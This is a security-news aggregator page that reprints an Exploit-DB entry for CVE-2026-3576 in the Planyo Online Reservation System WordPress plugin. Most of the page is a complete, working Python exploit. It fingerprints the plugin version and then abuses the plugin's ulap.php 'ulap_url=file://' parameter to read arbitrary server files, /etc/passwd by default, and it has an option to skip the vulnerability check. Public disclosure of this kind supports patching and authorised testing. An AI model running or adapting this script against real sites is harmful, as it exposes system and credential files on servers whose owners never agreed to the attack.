Security News

Cybersecurity news aggregator

🔓
MEDIUM Vulnerabilities Exploit-DB

[webapps] Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF

  • What: Arbitrary file read via SSRF in Planyo
  • Impact: Potential data exposure through server-side request forgery
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF EDB-ID: 52636 CVE: 2026-3576 EDB Verified: Author: BALACHANDAR GOWRISANKAR Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-08-11 Vulnerable App: # Exploit Title: Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF # Date: 12-07-2026 # Exploit Author: Balachandar Gowrisankar # Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/ # Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/ # Version: <= 3.0 # Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14 # CVE: CVE-2026-3576 # CVSS Score: 7.2 # Usage: python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd import argparse import requests import re def version_check(base_url): readme_url = base_url + "wp-content/plugins/planyo-online-reservation-system/readme.txt" response = requests.get(readme_url) text = response.text match = re.search(r"==\s*Changelog\s*==(.*)", text, re.DOTALL | re.IGNORECASE) if match: changelog = match.group(1) versions = re.findall(r"=\s*v?([A-Za-z0-9._-]+)\s*=", changelog) if versions: print("[+] Version found:", versions[-1]) if versions[-1] in ['1.0', '1.1', '1.1.1', '1.2', '1.3', '1.5', '1.6', '1.7', '1.8', '2.3', '2.6', '2.7', '2.8', '2.9', '3.0']: print("[+] Target is vulnerable") else: print("[-] Target is not vulnerable. Exiting.") exit() else: print("[-] No versions found. Try skipping version check to see if exploit still works.") exit() else: print("[-] No changelog section found. Try skipping version check to see if exploit still works.") exit() def read_file(base_url, file): target_url = base_url + "wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost" + file try: response = requests.get(target_url) response.raise_for_status() print(response.text) except requests.exceptions.HTTPError as e: print(e) def main(): parser = argparse.ArgumentParser(description="Exploit for CVE-2026-3576") parser.add_argument("base_url", help="Target wordpress root directory(eg: http://localhost/wordpress/)") parser.add_argument("-f", "--file", type=str, default="/etc/passwd", help="Location of arbitrary file on target. Default: /etc/passwd") parser.add_argument("-d", "--disable-check", action="store_true", help="Disable target vulnerability check. Default: False") args = parser.parse_args() if not args.disable_check: print("[*] Checking if target is vulnerable...") version_check(args.base_url) print("\n[*] Attempting to read arbitrary file...\n") read_file(args.base_url, args.file) if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.

Share this article